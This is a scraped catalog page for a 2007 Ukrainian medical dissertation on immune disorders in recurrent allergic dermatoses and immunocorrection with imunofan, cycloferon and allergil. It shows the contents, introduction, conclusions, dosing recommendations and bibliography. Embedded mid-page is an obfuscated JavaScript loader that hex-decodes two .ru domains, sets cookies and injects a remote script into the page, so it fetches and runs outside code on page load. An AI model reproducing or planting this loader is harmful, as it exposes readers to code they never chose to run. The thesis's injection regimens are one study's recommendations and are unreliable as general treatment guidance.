catalog / MEDICAL SCIENCE / Immunology and Allergology
скачать файл:
- title:
- ІМУНОЛОГІЧНІ ПОРУШЕННЯ У ХВОРИХ НА РЕЦИДИВУЮЧІ ФОР¬МИ АЛЕРГО¬ДЕРМАТО¬ЗІВ, ІМУНОКОРЕКЦІЯ ТА ІМУНОРЕАБІЛІТАЦІЯ
- Альтернативное название:
- Иммунологические нарушения у больных рецидивирующим ФОР¬МЫ АЛЕРГО¬ДЕРМАТО¬ЗИВ, иммунокоррекции и иммунореабилитации
- university:
- ЛУГАНСЬКИЙ ДЕРЖАВНИЙ МЕДИЧНИЙ УНІВЕРСИТЕТ
- The year of defence:
- 2007
- brief description:
- ЛУГАНСЬКИЙ ДЕРЖАВНИЙ МЕДИЧНИЙ УНІВЕРСИТЕТ
На правах рукопису
ЦІПОРЕНКО
Сергій Юрійович
УДК 615.776.1-092:612.79
ІМУНОЛОГІЧНІ ПОРУШЕННЯ У ХВОРИХ НА РЕЦИДИВУЮЧІ ФОРМИ АЛЕРГОДЕРМАТОЗІВ, ІМУНОКОРЕКЦІЯ ТА ІМУНОРЕАБІЛІТАЦІЯ
14.03.08 імунологія та алергологія
Дисертації на здобуття наукового ступеня
кандидата медичних наук
Науковий керівник:
доктор медичних наук
Лоскутова Ірина Володимирівна
Луганськ 2007
ЗМІСТ
Список умовних скорочень ......................................................................
4
ВСТУП ...............................................................................................
6
РОЗДІЛ 1. СУЧАСНІ ПОГЛЯДИ НА ПАТОГЕНЕТИЧНЕ ЗНАЧЕННЯ ІМУННИХ ПОРУШЕНЬ ТА ІМУНОАКТИВНУ ТЕРАПІЮ РЕЦИДИВНИХ ФОРМ АЛЕРГОДЕРМАТОЗІВ (огляд літератури) ..........
11
1.1. Класифікація та клінічна характеристика рецидивних форм алергодерматозів ..........................................................................................
11
1.2. Імунні порушення в патогенезі рецидивних форм алергодерматозів
15
1.3. Патогенетичне обґрунтування раціональних підходів до імунокорекції та імунореабілітації у хворих на рецидивні форми алергодерматозів
25
1.4. Імуноактивні препарати, які можуть бути перспективними в лікуванні та реабілітації хворих на рецидивних форми алергодерматозів
33
РОЗДІЛ 2. МАТЕРІАЛИ І МЕТОДИ ДОСЛІДЖЕННЯ ..........................
36
2.1. Загальна характеристика клінічного матеріалу .................................
36
2.2. Методи досліджень, що використовувалися ......................................
43
РОЗДІЛ 3. ОСОБЛИВОСТІ ПОКАЗНИКІВ ІМУНІТЕТУ У ХВОРИХ НА РЕЦИДИВУЮЧІ ФОРМИ АЛЕРГОДЕРМАТОЗІВ ..........................
50
3.1. Стан клітинної ланки імунітету у хворих на рецидивні форми алергодерматозів ................................................................................................
50
3.2. Фагоцитарні механізми імунітету при рецидивних формах алергодерматозів ...................................................................................................................
57
РОЗДІЛ 4. ПАТОГЕНЕТИЧНЕ ЗНАЧЕННЯ ЦИРКУЛЮЮЧИХ ІМУННИХ КОМПЛЕКСІВ ТА ЗМІНИ ЇХ МОЛЕКУЛЯРНОГО СКЛАДУ У ХВОРИХ НА РЕЦИДИВНІ ФОРМИ АЛЕРГОДЕРМАТОЗІВ ...................
65
РОЗДІЛ 5. ІНТЕРФЕРОНОВИЙ СТАТУС ТА ЦИТОКІНОВИЙ ПРОФІЛЬ У ХВОРИХ НА РЕЦИДИВНІ ФОРМИ АЛЕРГОДЕРМАТОЗІВ .
81
5.1. Інтерфероновий статус у хворих на рецидивні форми алергодерматозів
81
5.2. Динаміка цитокінів при рецидивних формах алергодерматозів
88
РОЗДІЛ 6. ВЗАЄМОЗВ`ЯЗОК ІМУНОЛОГІЧНИХ ТА МІКРОГЕМОДИНАМІЧНИХ ПОКАЗНИКІВ У ХВОРИХ НА РЕЦИДИВНІ ФОРМИ АЛЕРГОДЕРМАТОЗІВ ................................................................................
99
РОЗДІЛ 7. ОЦІНКА ЕФЕКТИВНІОСТІ ІМУНОКОРЕКЦІЇ ТА ІМУНОРЕАБІЛІТАЦІЇ У ХВОРИХ НА РЕЦИДИВНІ ФОРМИ АЛЕРГОДЕРМАТОЗІВ ..............................................................................................
110
7.1. Диференційована імунокорекція із застосуванням імунофану та циклоферону та її вплив на імунні показники у хворих при рецидивні формах алергодерматозів ............................................................................
110
7.2. Ефективність алергілу в імунореабілітації у хворих на рецидивні форми алергодерматозів .............................................................................
140
АНАЛІЗ ТА УЗАГАЛЬНЕННЯ ОТРИМАНИХ РЕЗУЛЬТАТІВ ............
153
ВИСНОВКИ .................................................................................................
171
ПРАКТИЧНІ РЕКОМЕНДАЦІЇ .................................................................
173
СПИСОК ВИКОРИСТАНИХ ДЖЕРЕЛ ....................................................
174
ВСТУП
Актуальність теми. За даними ВООЗ, на алергічні захворювання страждає до 35% населення планети, що є суттєвою медичною, соціальною та економічною проблемою (Теремецька Н.Ф. та співав., 2000; Коган Б.Г. та співав., 2005). Провідне місце в структурі алергозів складають хворі на алергодерматози (АД), причому за останні роки відбулося зростання захворюваності. В теперішній час на АД страждають до 5-10% населення в Україні та інших країнах СНД, а в економічно розвинутих країнах цей рівень досягає 20% і спостерігається тенденція до його подальшого зростання (Мавров И.И. та співав., 2003). АД частіше зустрічаються серед осіб молодого, найбільш працездатного віку, в яких хвороба нерідко приймає рецидивуючий перебіг. Однією з важливих причин широкого розповсюдження АД вважається несприятливий екологічний стан навколишнього середовища та його забруднення ксенобіотиками за рахунок хімізації промисловості, сільського господарства, побуту, а також внаслідок зловживання фармацевтичними препаратами (Мавров И.И. та співав., 1999, 2003). При цьому, тривалий контакт з алергенами в умовах дії несприятливих факторів навколишнього середовища закономірно викликає розвиток вторинних імунодефіцитних станів (ВІДС) (Драннік Г.М. та співав., 1999; Фролов В.М., та співав., 2000).
В основі АД лежить феномен гіперчутливості сповільненого типу в результаті попередньої сенсибілізації хворих алергеном, причому шкіра не тільки є мішенню ураження, але й імунокомпетентні клітини активно приймає участь у розвитку імунологічних розладів пригніченні клітинного імунітету та активації клітинно-опосредкованої алергічної реактивності (Антонов А.А. та співав., 1995, Куценко И.В., 2004). В той же час лише поодинокі роботи торкаються патогенетичних механізмів АД (Nishioka K., 1995; Федоров С.М. та співав., 1999; Мордовцев В.Н. та співав., 1999). Встановлено, що у розвитку алергічних реакцій важливу роль відіграє інтерлейкін (IL) -4, який блокує синтез IL-2 та γ-інтерферону (ІФН) (Martinez O.M.,1993, 1999). При цьому, гіперпродукція IL-4 сприяє гуморальній імунній відповіді та підвищенню продукції Ig Е (Прилуцький О.С., 1999, 2005). Дисімуноглобулінемія сполучається з підвищеним вмістом у крові циркулюючих імунних комплексів (ЦІК), причому високий вміст ЦІК у крові корелює з тяжкістю та розповсюдженням на шкірі хворого патологічного процесу (Туркевич О.Ю., 2003). Однак молекулярний склад ЦІК у крові хворих на АД раніше не вивчався, в тому числі не проаналізовано їх патогенетичне значення в розвитку рецидивів захворювання. Ознаки ВІДС визначаються майже у 50% хворих на АД за результатами суттєвого зниження спонтанної та індукованої хемілюмінесценції нейтрофільних гранулоцитів, що свідчить про напруженість адаптаційно-захисних механізмів фагоцитуючих клітин (Теличко Т.В., 2001). Однак даних про функціональну активність макрофагів у хворих на АД в доступній літературі ми не знайшли.
Загальноприйняте лікування АД включає лише симптоматичну терапію та антигістамінні препарати. Однак, при цьому не знижується можливість розвитку рецидивів АД, оскільки не забезпечується відновлення імунологічного гомеостазу. Тому нашу увагу привернула можливість використання у хворих на рецидивні форми АД імуноактивних препаратів імунофану та циклоферону. Імунофан - це синтетичний препарат, який є модифікованим фрагментом біологічно активної ділянки молекули гормону тімопоетину і зберігає специфічну активність природного гормону, препарат позитивно впливає на цитокіновий профіль і показники клітинного імунітету хворих із запальними процесами різного генезу (Покровський В.И. та співав., 2004). Однак залишається невідомим можливі інші механізми дії імунофану на імунні показники, зокрема стан фагоцитуючих макрофагів. В той же час саме цієї системі надається провідна роль в елімінації патогенних ЦІК з кровотоку та попередженню імунокомплексних реакцій (Сергеев А.Ю. та співав., 2003). Циклоферон синтетичний низькомолекулярний індуктор ендогенного інтерферону, який також володіє імуномодулюючою активністю (Ершов Ф.И. та співав., 1996). В клінічній практиці також відмічена здатність циклоферону регулювати антитілоутворення, природну кілерну активність Т‑лімфоцитів, стимулювати фагоцитоз (Ершов Ф.И. и соавт, 1996, 2002). Крім підвищення синтезу ІФН, циклоферон стимулює систему моноцитів/макрофагів, посилює функціональну активність NК-клітин, тобто забезпечує оптимізацію клітинної ланки імунної відповіді (Романцов М.Г. та світав., 2003; Ершов В.И. та співав., 2005, 2006).
Таким чином, на нашу думку, перспективна розробка раціональних способів імунокорекції та імунореабілітації хворих на рецидивні форми АД, які спроможні підвищувати і зберігати працездатність та покращувати якість життя хворих. При розробці оптимальної схеми імунореабілітації хворих на рецидивні форми АД, нашу увагу привернула можливість призначення хворим нового препарату з імуномодулюючою дією алергілу. Алергіл вітчизняний препарат рослинного походження, що містить біологічно активні сполуки низки лікарських рослин, та володіє імуномодулюючою дією (В.М. Фролов, 2003; Г.М. Драннік, В.М. Фролов, 2004). Раніше не вивчався вплив імунофану та алергілу на клінічні та імунологічні показники при імунокорекції та імунореабілітації хворих на рецидивуючі форми АД.
Зв’язок роботи з науковими програмами, планами, темами. Дисертаційна робота виконана відповідно до основного плану науково-дослідних робіт Луганського державного медичного університету за темою: „Імунологічні порушення у хворих на рецидивуючі форми алегродерматозів, імунокорекція та імунореабілітація” (№ держреєстрації 0106U005991).
Метою роботи була розробка раціональних методів диференційованої імунокорекції та імунореабілітації хворих рецидивуючими формами алергодерматозів.
Для досягнення вказаної мети були поставлені такі конкретні задачі:
1. Вивчити характер, вираженість змін імунологічних показників та стану мікрогемодинаміки у хворих на рецидивні форми АД.
2. Проаналізувати у хворих на АД показники інтерферонового статусу: активність СІФ та рівень α- і γ-ІФН у сироватці крові.
3. Дослідити зміни цитокінового профілю у хворих на рецидивні форми АД, а саме концентрацію прозапальних (ФНП-α, ІL-1β, IL-2) та протизапального (ІL-4) цитокінів у крові.
4. Проаналізувати ефективність диференційованої імунокорекції хворих на рецидивні форми АД з використанням імуноактивних препаратів циклоферону або імунофану та їхній вплив на імунологічні показники.
5. Оцінити перспективність використання імуноактивного препарату рослинного походження алергілу при проведенні імунореабілітації хворих з рецидивними формами АД.
Об’єкт дослідження клініко-патогенетичні особливості та імунокорекція рецидивуючих форм алергодерматозів.
Предмет дослідження клінічні показники, стан імунітету; оцінка ефективності диференційованої імунокорекції з використанням циклоферону та імунофану; розробка способу імунореабілітації хворих на рецидивні форми АД із застосуванням алергілу.
Методи дослідження: клінічні, імунологічні, статистичні.
Наукова новизна одержаних результатів. Встановлені клініко-імунологічні особливості рецидивних форм АД. Виділені два патогенетичних варіанти даної патології з перевагою Тh1 типу (за рівнем γ-ІФН, IL-2 і ФНПα) та з активацією Th2 типу (за високим вмістом IL-4) імунної відповіді. Обґрунтовано необхідність і доцільність проведення диференційованої імунокорекції хворих на рецидивуючі форми АД з використанням імунотропних препаратів (циклоферону, імунофану). Вперше патогенетично обгрунтовано раціональний метод імунореабілітації даного контингенту хворих з застосуванням рослинного препарату алергілу. Показано, що проведення імунокорекції сприяє зниженню проявів вторинного імунодефіциту та зменшує ризик розвитку рецидивів АД.
Практичне значення одержаних результатів. Розроблені схеми диференційованої імунокорекції та імунореабілітації хворих із рецидивними формами АД з використанням циклоферону, імунофану та алергілу впроваджені до клінічної практики імунологічних та дерматологічних кабінетів поліклінічних відділень лікарень мм. Києву, Луганська, Кремінної. Досягнута більша тривалість ремісії і стабільність результатів лікування АД.
На способи імунокорекції хворих та імунореабілітації на рецидивуючі форми АД отримано патент України № 18073 на корисну модель та 3 посвідчення на раціоналізаторські пропозиції.
Наукові результати, які отримані в дисертації, використовуються у навчальному процесі на кафедрах клінічної імунології та алергології у 4 медичних вузах України: Національному медичному університеті ім.О.О. Богомольця (Київ), Львівському національному медичному університеті ім. Д.Галицького, Луганському державному медичному університеті, Донецькому державному медичному університеті.
Особистий внесок здобувача. Дисертант самостійно провів у повному обсязі клінічні та частково імунологічні дослідження за темою дисертації, а також здійснював вивчення ефективності запропонованих способів імунокорекції і імунореабілітації обстежених хворих, статистичну обробку отриманих результатів, сформулював висновки та практичні рекомендації роботи, провів впровадження результатів досліджень у клінічну практику.
Апробація результатів дисертації. Основні положення дисертації докладалися та обговорювалися на VІІІ Українській науково-практичній конференції з актуальних питань алергології, клінічної та лабораторної імунології, алегрології та імунореабілітації (Київ, 2006); XІІ конгресі СФУЛТ (Полтава, 2006); республіканських науково-практичних конференціях Епідеміологія, імунопатогенез, діагностика та лікування TORCH-інфекції” (Київ, 2006); засіданнях Луганських обласної асоціацій клінічних імунологів (Луганськ, 2006) та товаристві дерматологів-венерологів м. Києву (2006).
Публікації. Результати дисертації опубліковані у 9 статтях у фахових виданнях, затверджених ВАК України (з них 2 статей одноосібні); 3 тезах доповідей на науково-практичних конференціях та симпозіумах; за темою дисертації отримано патент України на корисну модель та 3 посвідчення на раціоналізаторські пропозиції (у співавторстві).
window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="16197",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("mydisser.com")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
- bibliography:
- ВИСНОВКИ
У дисертації наведено теоретичне узагальнення та практичне вирішення актуальної наукової задачі підвищення ефективності лікування та медичної реабілітації хворих рецидивними формами алергодерматозу шляхом застосування сучасних імуноактивних препаратів циклоферону, імунофану та алергілу.
1. У хворих з рецидивними формами АД має місце наявність вторинного імунодефіциту: зменшення числа CD3+-клітин в 1,4-1,5 рази (Р<0,01), зниження кількості циркулюючих СD4+-лімфоцитів (в 1,3-1,5 рази; Р<0,01) та імунорегуляторного індексу CD4/CD8 (в 1,2-1,4 рази; Р<0,01), пригніченням показників ФАМ, особливо індексу перетравлення (в 1,7-2,1 раз; Р<0,05), а також підвищенням концентрації ЦІК, переважно за рахунок найбільш токсигенних серед.ньо- і дрібномолекулярних фракцій,яка підвищувалась в 2,5 рази (Р<0,01), що дозволяє вважати суттєвою роль імунокомплексних порушень в патогенезі розвитку рецидивів захворювання. При цьому встановлена пряма кореляція між ступенем вираженості імунних порушень та частотою виникнення рецидивів АД.
2. У хворих на АД спостерігаються суттєві порушення з боку системи інтерфероногенезу, а саме високою активністю сироваткового інтерферону, яка зростала у гострому періоді АД в 2,9 рази (Р<0,01), на тлі зниження концентрації α- та γ-ІФН у сироватці крові. Виявлено прямий кореляційний зв`язок між рівнем зниження вмісту γ-ІНФ у крові та частотою розвитку рецидивів захворювання.
3. У гострому періоді АД спостерігається зростання рівня прозапальних (ФНПα і IL-2) та водночас протизапального (IL-4) цитокіну у крові. При частих рецидивах АД відмічається зростання IL-2 в середньому в 3,2 рази (Р<0,001), а ФНПα в 2,4 рази (Р<0,01). При рідких рецидивах АД на тлі ВІДС спостерігається зростання концентрації IL-4 у сироватці крові в середньому в 3,5 рази (Р<0,01), тоді як у хворих з частотою загострення хвороби 4 рази і більш на рік в 1,5-2,0 рази (Р<0,05).
4. При загостренні АД відмічаються виражені морфологічні порушення у всіх відділах мікросудинного русла хворих на АД у вигляді спазму артеріол та дилатації венул, їх звивистості та наявності мікро судин; характерним було також поліморфність та зниження кількості функціонуючих капілярів, внаслідок чого утворювалися аваскулярні зони; внутрішньосудинні зміни характеризувалися повільним кровоплином з наявністю сладж-синдрому ІІ-ІІІ ступеню у венулах; позасудинні порушення проявлялися суттєвим периваскулярним набряком, наявністю мікрогеморагій. Виявлені порушення в мікроциркуляторному руслі у хворих на АД корелювали з клінічною формою АД та з високим рівнем прозапальних цитокінів (IL-1β, ФНПα) у крові.
5. Проведення диференційованої імунокорекції, із застосуванням імунофану або циклоферону у хворих з рецидивні формами АД, обумовлює зменшення або ліквідацію вторинного імунодефіцитного стану та нормалізацію вивчених імунологічних показників в тому числі, збільшення індексів ФАМ, що свідчить про активацію функціонального стану макрофагальної фагоцитуючої системи, зниження вмісту ЦІК у крові з нормалізацією їх молекулярного складу.
6. Включення імуноактивного препарату циклоферону до терапевтичного комплексу при лікуванні хворих на рецидивні форми АД, сприяє більш швидкому поліпшенню показників інтерфероногенезу: зростанню вмісту α-ІФН у крові 2,9 рази (Р<0,01) та підвищення концентрації g-ІФН в 2,1 рази (Р<0,05) відповідно до вихідного рівня. У хворих, яким вводили імунофан, відмічалося вірогідне зниження рівня ФНПα в середньому в 2,1 рази (Р<0,01), вмісту IL-2 - в 2,5 рази (Р<0,001), концентрація IL-4 у крові зменшувалася в 2,5 рази (P<0,01).
7. Використання алергілу в комплексі імунореабілітації хворих з рецидивуючими формами АД сприяє нормалізації основних імунологічних показників: ліквідації Т-лімфоцитопенії, підвищенню кількості циркулюючих в периферичній крові Т-хелперів/індукторів (CD4+), нормалізації імунорегуляторного індексу CD4/CD8, а також цитокінового профілю та інтерферонового статусу хворих, а в клінічному плані - збільшенню частоти досягнення та тривалості збереження стійкої ремісії захворювання.
ПРАКТИЧНІ РЕКОМЕНДАЦІЇ
1. Хворим рецидивуючими формами АД, з метою оптимізації лікування та досягнення стійкої ремісії захворювання доцільно призначати диференційовану імунокорекцію в залежності від зсувів цитокінового профілю та стану інтерфероногенезу: при зростанні вмісту протизапальних цитокінів (IL-4) імунофан по 1,0 мл (50 мг) внутрішньом`язово 1 раз на добу протягом 5-7 діб поспіль і ще 3 ін`єкції через день, всього на курс лікування до 10 ин`єкцій; при порушенні інтерфероногенезу (зниження концентрації α- та γ-ІФН в 1,5 рази і більш) - циклоферон по 2,0 мл 12,5% розчину один раз на добу 5 діб поспіль, у подальшому по 0,015 мг через 3 дні, протягом 1 місяца.
2. При проведенні диспансерного нагляду хворих на рецидивуючі форми АД після завершення основного курсу лікування з метою імунореабілітації, а в клінічному плані - ліквідації залишкових явищ загострення патологічного процесу у шкірі та підтримки стійкої довготривалої ремісії захворювання треба призначати вітчизняний препарат рослинного походження з адаптогенною, протизапальною та імунокорегуючою дією алергіл по 20-30 крапель 3 рази на день усередину протягом 20-30 діб поспіль.
СПИСОК ВИКОРИСТАННИХ ДЖЕРЕЛ
1. Абасьянц Л.А. Материалы к изучению патогенеза аллергического дерматита: Автореф. дис. канд. мед. наук. Ташкент, 1997. 26 с.
2. Абрагамович Л.Є. Аспекти етіопатогенезу і лікування хворих на акне розацеа на основі характеристики структурно-функціонального стану езофагогастродуоденальної системи: Автореф. дис. ... канд.. мед. наук. К., 1999. 26 с.
3. Айзятулов Р.Ф. Застосування лікарських рослин у медицині // Журнал дерматовенерологии и косметологи им. Н.А.Торсуева. 2001. - № 1. С. 101 -107.
4. Амизон. Применение нового украинского препарата в лечении и профилактике инфекционных болезней: Метод. рекомендации / А.Ф.Фролов, В.М.Фролов, Ю.И.Губский и др.. Киев,2000. 72 с.
5. Антонов В.Б. Антропогенные экологические болезни // Клин. медицина. 1996. - № 3.- С. 15-19.
6. Антоньев А.А., Прохоренко В.И. Об общепатологических закономерностях патогенеза аллергических дерматозов // Вестник дерматологии и венерологии. 1995. - № 2. С.20-22.
7. Балаболкин И.И., Ефимов А.А. Влияние экологических факторов на распространение и течение аллергических болезней // Иммунология. 1992. - № 4. С. 34-37.
8. Баранина Е.Н. Качество лабораторного анализа. М.:ТОО Лабинформ, 1997. 192 с.
9. Беляева Л.М., Жерносек В.Ф., Панулина Н.И. Опыт применения телфаста в лечении аллергических заболеваний кожи // Иммунопатология, аллергология, инфектология. 2003. - № 3. С.83-85.
10. Бичкова Н.Г., Шипулін В.П. Клініко-імунологічна ефективність нового лікарського середника препарату ербісол у хворих хронічним гепатитом // Лікар. справа. 1998.- № 3-4. С.65-67.
11. Борисова А.М., Алкеева А.Б. Роль системы естественной цитотоксичности в иммунопатогенезе рецидивирующей герпетической инфекции и влияние иммуномодуляторов на клинико-иммунологический статус // Иммунология. 1999. - № 6. С. 60-62.
12. Боровиков В. Statistica: искусство анализа данных на компьютере. Для профессионалов. СПб.: Питер, 2001.- 656 с.
13. Бочаров В.А., Алавніх Муат, Тарнопольська С.М. Регуляторні фактори запально-репаративного процесу при хронічних рецидивуючих дерматозах // Український журнал дерматології, венерології, косметології. 2003. - № 1. С. 18-21.
14. Бочарова О.А., Куц Л.В., Тарнопольська С.М. Роль функціонального стану клітинних регуляторних систем організму в патогенезі алергодерматозів // Дерматологія та венерологія. 2003. - № 4 (22). С. 29-31.
15. Бриль А., Ефель П. SPSS: искусство обработки информации. Анализ статистических данных и восстановление скрытых закономерностей. СПб., ДиаСофтЮП, 2001.- 608 с.
16. Бурякова А.А. Морфологические основы реализации иммунного ответа в коже // Дерматологія та венерологія. 2000. - № 2 (12). С. 46-49.
17. Бутенко Г.М. Современные фармакологические подходы к иммунокоррекции // Журн. практик. врача. - 1997. - № 4. С. 8-10.
18. Бутов Ю.С. Клиническая оценка иммуноглобулинов у больных некоторыми дерматозами // Вестник дерматологии и венерологии. 1978. - № 8. С.82-85.
19. Бухтіарова Т.А. Амізон новий опіоїдний аналгетик з протизапальними, жарознижуючими та інтерфероногенними властивостями // Журн. практ. лікаря. 1997.- № 5.- С.37-39.
20. Буянова О.В. Применение мази „Кремген” в комплексном лечении атопического дерматита и микробной экземы // Український журнал дерматології, венерології, косметології. 2004. - № 1. С. 42-45.
21. Васильчук Е.Ф., Остапенко А.Т., Шекатурова Е.М. Лечение аллергодерматозов с применением антигистаминного препарата третьего поколения алтивы // Український журнал дерматології, венерології, косметології. 2003.- № 1. С.4042.
22. Висков Н.Ю., Шевченко М.А. Индукция синтеза IgE при первичной иммунизации и ответе памяти на растворимые белки // Иммунология. 2003. - № 4. С. 227-230.
23. Волкославская В.Н. Экологическая обусловленность заболеваемости дерматозами в Украине. Синдром экологической дезадаптации больных и оптимальная врачебная практика // Журнал дерматологии и венерологии. 2000. - № 1 (9). С. 53-57.
24. Герасимов С.В. Гістамін та блокатори Н1-гістамінових рецепторів. Сер. На допомогу практичному лікарю. Львів, 2001. Вип.. 4. 18 с.
25. Глухенький Б.Т., Грандо С.А. Иммунозависимые дерматозы. К.:Здоров`я, 1990. 467 с.
26. Григорян С.С. Индукторы интерферона: действие на интерфероновый статус в норме и патологии: Автореф. дис. ... д-ра мед. наук. М., 1992. 49 с.
27. Григорян С.С., Иванова А.И., Ершов Ф.И. Определение интерферонового статуса в цельной крови у людей при массовых обследованиях: Методич. рекомендации. М., 1998.- 24 с.
28. Гущин И.С. Аллергологическое воспаление и его фармакологический контроль. М.: ГНЦ Ин-та иммунологии МЗ РФ, 2000.- 55 с.
29. Гущин И.С. Кардиотоксическое действие антагонистов Н1 гистаминовых рецепторов // Клин. фармакол. и терапия. 1998. - № 3. С.82-86.
30. Гюллинг Э.В. Аллергия как проявление иммунодефицитных состояний // Врач. Дело. 1979. - № 1. С.73-77.
31. Дамбаев С.В., Мазуров Д.В., Голубева Н.М. Влияние некоторых иммуномодуляторов на функциональную активность фагоцитарных клеток периферической крови // Иммунология. 2000. - № 6. С. 15-17.
32. Денисенко О.І. Оптимізація лікування алергодерматозів з використанням хронодетермінованої, антиоксидантної та комбінованої лазерної терапії // Український журнал дерматології, венерології, косметології. 2005. - № 3. С. 137-138.
33. Денисенко О.І., Гаєвська М.Ю. Застосування концентрованих фітопрепаратів у комплексному лікуванні інфекційних дерматозів // Український журнал дерматології, венерології, косметології. 2005. - № 3. С. 151-152.
34. Дифференциальная диагностика кожных болезней /Под ред Б.А.Беренбейна, А.А.Студницина. М.:Медицина, 1989. 672 с.
35. Добрица В.П., Ботерашвили Н.М., Добрица Е.В. Современные иммуномодуляторы для клинического применения: Руководство для врачей. СПб: Политехника, 2001. 251 с.
36. Дранник Г.Н. Иммунотропные препараты: классификация и применение // Харьковский мед. журн. - 1997. - № 1. - С. 69-73.
37. Дранник Г.Н. Клиническая иммунология и аллергология.- К.:Изд-во ООО „Полиграф плюс”, 2006. - 482 с.
38. Ершов Ф.И., Малиновская В.В. Иммуномодуляторы в профилактике и терапии вирусных инфекций // Журнал микробиол.- 1996. - № 3. - С.122-125.
39. Ершов Ф.И. Система интерферона в норме и при патологии. М.: Медицина, 1996. 292 с.
40. Ершов Ф.И. Медицинская значимость интерферонов и их индукторов //Вестн. Российской АМН. - 2004. - № 2. - С.9-13.
41. Ершов Ф.И., Киселев О.И. Интерфероны и их индукторы (от молекул до лекарств). М.:ГЭОТАР-Медиа, 2005. 368 с.
42. Ершов Ф.И. Антивирусные препараты. 2-е изд.- М.:ГЭОТАРМедиа, 2006. 312 с.
43. Живаго С.Б., Тимошок О.І. Алергійний контактний дерматит, як реакція на розчин етанолу // Український журнал дерматології, венерології, косметології. 2006. - № 1. С. 37-39.
44. Журавлева Н.В., Родосская Н.К. Иммунодефициты и естественное ингибирование активности макромолекулярных антител.- Воронеж: Изд-во ВГУ, 1988.- 96 с.
45. Звиняцковский Я.И., Бердник О.В. Факторы риска и здоровье населения, проживающего в различных условиях окружающей среды // Довкілля та здоров'я. - 1996. - № 1. С. 8-11.
46. Земсков А.М., Караулов А.В., Земсков В.М. Комбинированная иммунокоррекция. М.:Наука, 1994. 260 с.
47. Змушко Е.И., Митин Ю.А., Кацалуха В.В. Цитокининидуцирующая и противовирусная активность циклоферона при экспериментальной герпетической инфекции // ЖМЭИ. - 2003. - № 4. - С. 105-107.
48. Иванова В. В., Эффективность виферона в комплексном лечении инфекционных болезней у детей // Рос. вестн. перинатологии и педиатрии, 2000. - № 2. - С.49-54.
49. Ильина Н.И., Латышева Т.В., Пинегин Б.В. Синдром вторичной иммунной недостаточности (протоколы диагностики и лечения) // Иммунология. - 2000. - № 5. - С. 8-12.
50. Иммунодиагностика и иммунокоррекция в клинической практике/ Под ред. И.Д.Столярова. СПб.:Сотис, 2000. 176 с.
51. Иммунологические методы/ Под ред. Г. Фримеля: Пер. с нем. М: Медицина, 1987. - 472 с.
52. Интерфероногены: перспективы клинического применения: руководство для врачей / Под ред. М.Г. Романцова. - М.: СПб., 1998. - 38с.
53. Использование реакции ингибирования активности антител (РИА) в клинической практике для диагностики вторичных иммунодефицитов: Методич. рекомендации / В.М.Фролов, Н.В.Журавлева, Н.А.Пересадин и др. - М., 1991. 15 с.
54. Іванов С.В. Особливості периферичної гемодинаміки у хворих на алергодерматози на тлі серцево-судинної патології // Український журнал дерматології, венерології, косметології. 2005.- № 2. С. 25-29.
55. Казмирчук В.Е. Иммунные нарушения при аллергических дерматозах // Дерматология и венерология. 2001. - № 3. С.21-27.
56. Казмірчук В.Е., Мальцев Д.М. Роль цитокінів у виявленні функціональних порушень імунітету // Ліки України. 2004. - № 2. С. 15-18.
57. Калюжная Л.Д. Аллергодерматозы // Doctor.- 2003. - № 6.- С.22-24.
58. Калюжная Л.Д., Гавриленко Т.И., Стоянова О.В. Состояние провоспалительных цитокинов и С-реактивного белка у больных с различными проявлениями аутоиммунных реакций // Український журнал дерматології, венерологія, косметології. 2005. - № 3. С. 15-18.
59. Карпова О.И. Амизон новый отечественный ненаркотический анальгетик // Проблемы медицины. - 1998. - № 3. - С. 5-7.
60. Керамива М.Г., Суханов Б.П. Роль питания в профилактике и диетотерапии заболеваний кожи // Вопросы питання. 2002. - № 1. С.53-57.
61. Керимова А.С., Кубанова А.А. Кузнецов В.П. Лейкинферон в лечение атопического дерматита // Вестник дерматологии и венерологии. 1991. - № 6 С.8-11.
62. Кетлинский С.А. Роль Т-хелперов типов 1 и 2 в регуляции клеточного и гуморального иммунитета // Иммунология. - 2002. - № 2. - С.77-79.
63. Кетлинский С.А., Калинина Н.М. Иммунология для врача. - СПб.: Гиппократ, 1998. 156 с.
64. Киселева Е.П., Цвейбах А.С., Гольдман Е.И., Пигарева Н.В. Использование микрометода для бласттрансформации лимфоцитов человека и животных // Иммунология. - 1985. - № 1. - С.76-78.
65. Клиническая иммунология. Руководство для врачей / Под ред. Е.И. Соколова. - М.: Медицина, 1998. - 272 с.
